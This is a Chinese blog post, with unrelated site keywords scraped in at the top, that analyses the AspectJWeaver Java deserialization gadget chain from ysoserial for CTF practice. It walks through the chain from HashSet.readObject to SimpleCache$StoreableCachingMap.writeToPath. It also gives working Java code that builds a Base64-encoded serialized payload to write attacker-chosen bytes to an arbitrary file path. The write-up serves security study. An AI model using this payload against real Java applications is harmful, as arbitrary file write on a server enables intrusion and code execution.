ps网站专题怎么做,乐清门户网站,网站首页下拉广告,满分作文网站[Java反序列化]AspectJWeaver反序列化
前言
2021年二月份ysoserialize增加了这条AspectJWeaver链子#xff0c;之后陆续在2021年的D3CTF以及国赛决赛中都出现了这条链子的攻击#xff0c;所以学习一下AspectJWeaver的反序列化#xff0c;之后再复现一下D3CTF和国赛决赛的两…[Java反序列化]AspectJWeaver反序列化
前言
2021年二月份ysoserialize增加了这条AspectJWeaver链子之后陆续在2021年的D3CTF以及国赛决赛中都出现了这条链子的攻击所以学习一下AspectJWeaver的反序列化之后再复现一下D3CTF和国赛决赛的两道Java。
依赖 dependencygroupIdcommons-collections/groupIdartifactIdcommons-collections/artifactIdversion3.1/version/dependencydependencygroupIdorg.aspectj/groupIdartifactIdaspectjweaver/artifactIdversion1.9.2/version/dependency需要存在CC链。
分析
首先看一下yso的chain
Gadget chain:
HashSet.readObject()HashMap.put()HashMap.hash()TiedMapEntry.hashCode()TiedMapEntry.getValue()LazyMap.get()SimpleCache$StorableCachingMap.put()SimpleCache$StorableCachingMap.writeToPath()FileOutputStream.write()前面部分是7u21中间是CC6。从SimpleCache$StorableCachingMap.put()开始看起了。
StorableCachingMap是SimpleCache的内部类它extends HashMap并且重写了put方法 Overridepublic Object put(Object key, Object value) {try {String path null;byte[] valueBytes (byte[]) value;if (Arrays.equals(valueBytes, SAME_BYTES)) {path SAME_BYTES_STRING;} else {path writeToPath((String) key, valueBytes);}Object result super.put(key, path);storeMap();return result;} catch (IOException e) {trace.error(Error inserting in cache: key:key.toString() ; value:value.toString(), e);Dump.dumpWithException(e);}return null;}当调用put的时候会触发path writeToPath((String) key, valueBytes); private String writeToPath(String key, byte[] bytes) throws IOException {String fullPath folder File.separator key;FileOutputStream fos new FileOutputStream(fullPath);fos.write(bytes);fos.flush();fos.close();return fullPath;}实现文件写入即将put方法的value写入到folder File.separator key中。
测试 public static void main(String[] args) throws Exception{Class clazz Class.forName(org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap);Constructor declaredConstructor clazz.getDeclaredConstructor(String.class,int.class);declaredConstructor.setAccessible(true);HashMap map (HashMap)declaredConstructor.newInstance(D:\\\\, 123);map.put(1.txt,123.getBytes(StandardCharsets.UTF_8));}成功将123写入到D:\flag文件中。
构造出来 public static void main(String[] args) throws Exception{Class clazz Class.forName(org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap);Constructor declaredConstructor clazz.getDeclaredConstructor(String.class,int.class);declaredConstructor.setAccessible(true);HashMap map (HashMap)declaredConstructor.newInstance(D:\\\\, 123);ConstantTransformer constantTransformer new ConstantTransformer(evil code.getBytes(StandardCharsets.UTF_8));Map outerMap LazyMap.decorate(map,constantTransformer);TiedMapEntry tiedMapEntry new TiedMapEntry(outerMap,1.txt);HashSet hashSet new LinkedHashSet(1);hashSet.add(tiedMapEntry);outerMap.remove(1.txt);System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(hashSet)));}我没有去管hashSet.add(tiedMapEntry);的时候还会在自己的电脑上触发一次只要生成的payload能用就行了。感兴趣的师傅们可以自己构造一下HashSet的那部分使得在自己的电脑上不会触发或者说直接抄一下yso的代码也都可以。